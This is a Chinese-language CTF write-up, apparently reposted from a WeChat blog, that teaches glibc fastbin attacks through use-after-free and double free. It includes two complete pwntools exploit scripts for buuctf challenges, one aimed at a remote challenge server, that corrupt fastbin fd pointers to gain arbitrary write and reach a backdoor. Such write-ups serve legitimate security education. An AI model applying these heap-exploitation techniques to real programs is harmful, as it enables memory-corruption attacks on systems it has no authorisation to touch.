fast bin
攻击的主要思路是通过修改一个已经在fast bin
链中的chunk
的fd
来达到任意地址分配堆块的目的。--- 《CTF那些事儿》
介绍两种由于程序缺陷引发的fastbin attack
:UAF
和double free
。
1、UAF
这个缺陷主要涉及到堆上的缓冲区溢出,即可以通过溢出来实现对已经在fastbin
内的chunk
进行写操作,当然也不乏让你选择index
的时候没有做检查,可以直接对已经free
掉的chunk
进行写操作的,例如下面这题:
例题:wustctf2020_easyfast - buuctf
main
add
edit
delete
可以看到edit
的函数内,对于选取的index
并没有做校验,且在delete
函数内,free
掉的chunk
没有作置空操作,所以存在UAF(use after free)
漏洞。
直接给writeup
:
from pwn import *
context(arch="amd64", os="linux")
context.log_level = "debug"
p = process("./wustctf2020_easyfast")
# p = remote("node4.buuoj.cn", 28018)
def add(size):
p.sendlineafter(b"choice>n", b"1")
p.sendlineafter(b"size>n", str(size).encode("latin-1"))
def delete(index):
p.sendlineafter(b"choice>n", b"2")
p.sendlineafter(b"index>n", str(index).encode("latin-1"))
def edit(index, content):
p.sendlineafter(b"choice>n", b"3")
p.sendlineafter(b"index>n", str(index).encode("latin-1"))
p.sendline(content)
def backdoor():
p.sendlineafter(b"choice>n", b"4")
flag = 0x0602080
add(0x40) # chunk 0
add(0x20) # chunk 1
# USE AFTER FREE
delete(0)
edit(0, p64(flag))
add(0x40) # chunk 2 = chunk 0
add(0x40) # chunk 3
edit(3, p64(0))
backdoor()
p.interactive()
先添加两个大小在fastbin
范围内的chunk 0
,然后直接将第一个chunk
通过free
添加到fastbin
链表中,然后edit
操作直接修改chunk 0
的fd
指针,为target_addr - 0x10
(伪造的prev_size
和size
的大小也要算上)。
最后直接连着添加两个相同大小的chunk
,其中chunk 3
获取的就是目标地址的chunk
,可以实现任意地址写,将标志位修改然后跳转到后门地址即可完成getshell
。
经过调试,在将目标地址作为chunk
的时候,其size
字段被赋值为0x50
:
所以不会报错,不过在下面这题的情况下需要自己构造size
字段,否则将会利用不成功。
1、double free
字面意思就是对同一个堆块进行两次free
操作,即在fastbin
中出现了两个实际上一样的堆块,在malloc
其中一个的时候,对其写入实际上就是对在fastbin
中的chunk
进行写入。
例题:metasequoia_2020_samsara - buuctf
程序都写在main
函数内:
main
这题同样存在UAF
漏洞,也可以使用第一题的解法来解题,不过这次我们换个方法。
直接给writeup
:
from pwn import *
context(arch="amd64", os="linux")
context.log_level = "debug"
# p = process("./metasequoia_2020_samsara")
p = remote("node4.buuoj.cn", 28966)
def capture():
p.recvuntil(b"choice > ")
p.sendline(b"1")
def eat(index):
p.recvuntil(b"choice > ")
p.sendline(b"2")
p.recvuntil(b"Index:n")
p.sendline(str(index).encode("latin-1"))
def cook(index, ingredient):
p.recvuntil(b"choice > ")
p.sendline(b"3")
p.recvuntil(b"Index:n")
p.sendline(str(index).encode("latin-1"))
p.recvuntil(b"Ingredient:n")
p.sendline(ingredient)
def lair():
p.recvuntil(b"choice > ")
p.sendline(b"4")
def move(kingdom):
p.recvuntil(b"choice > ")
p.sendline(b"5")
p.recvuntil(b"Which kingdom?n")
p.sendline(str(kingdom).encode("latin-1"))
def shell():
p.recvuntil(b"choice > ")
p.sendline(b"6")
capture() # chunk 0
capture() # chunk 1
capture() # chunk 2
eat(0)
eat(1)
eat(0)
capture() # chunk 3
# 伪造的chunk的size不能少,不然会报错
move(0x20)
lair()
p.recvuntil(b"Your lair is at: ")
v8 = int(p.recvuntil(b"n")[:-1], 16) + 0x8
log.success("{}: {:#x}".format("v8", v8))
cook(3, str(v8 - 0x10).encode())
capture() # chunk 4
capture() # chunk 5
capture() # chunk 6
cook(6, str(0xdeadbeef).encode())
shell()
# 第一种方法
# capture()
# capture()
# eat(0)
# move(0x20)
# lair()
# p.recvuntil(b"Your lair is at: ")
# v8 = int(p.recvuntil(b"n")[:-1], 16) + 0x8
# log.success("{}: {:#x}".format("v8", v8))
# cook(0, str(v8 - 0x10).encode())
# capture()
# capture()
# cook(3, str(0xdeadbeef).encode())
# shell()
p.interactive()
wp
内包括了第一种方法,我就不多做解释了.
分析一下程序中的case 1
:
case 1: // add
if ( index >= 7 )
{
puts("You can't capture more people.");
}
else
{
v3 = index;
*((_QWORD *)&unk_202040 + v3) = malloc(8uLL);
++index;
puts("Captured.");
}
continue;
最多获取7个chunk
,且每次获取的大小为0x8
,加上chunk
的prev_size
和size
之后也才0x18
,小于最小的chunk
大小,所以其实获取到的chunk
大小为0x20
。
首先添加三个chunk
,然后经过三次free
操作,将chunk 0
在fastbin
中添加两次,这边中间夹着一个chunk 1
主要是为了绕过堆管理器的安全校验(非常潦草的一个校验)。
然后再添加一个chunk 3
,实际上就是chunk 0
。然后:
move(0x20)
lair()
p.recvuntil(b"Your lair is at: ")
v8 = int(p.recvuntil(b"n")[:-1], 16) + 0x8
log.success("{}: {:#x}".format("v8", v8))
其中的move
操作可以看源码:
case 5:
puts("Which kingdom?");
_isoc99_scanf("%llu", &v9);
v7 = v9;
puts("Moved.");
continue;
将一个值读入v9
,然后再赋值给v7
,而我们要触发后门的条件为:
case 6:
if ( v8 == 0xDEADBEEFLL )
system("/bin/cat /pwn/flag");
puts("Now, there's no Demon Dragon anymore...");
v8
需要是0xdeadbeef
,v7
、v8
和v9
在栈上的分布如下:
__int64 v7; // [rsp+18h] [rbp-38h] BYREF
__int64 v8; // [rsp+20h] [rbp-30h]
__int64 v9; // [rsp+28h] [rbp-28h] BYREF
很显然,目的是为了修改v8
处的值,所以这也是chunk
生成的目标地址,所以v7
处的值会被当成size
字段,这边通过move
操作将v7
赋值为0x20
,是为了跟程序malloc
到的chunk
大小一致,不加这个的话会报错,显示size
部分错误。
然后通过查看lair
的操作,获取v7
的地址,通过计算得到v8
的地址。
cook(3, str(v8 - 0x10).encode())
之后是对chunk 3(chunk 0)
进行写入,将fd
指针写为v8 - 0x10
的地址。
capture() # chunk 4
capture() # chunk 5
capture() # chunk 6
cook(6, str(0xdeadbeef).encode())
shell()
接着就是常规的连着获取两次chunk
,将fastbins
中正常的chunk
获取到,然后再进行一次malloc
就能获取到v8
处的chunk
,实现任意地址写。
最后跳转到后门地址,实现flag
获取。
原文始发于微信公众号(Stack0verf1ow):【PWN】fastbin attack
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论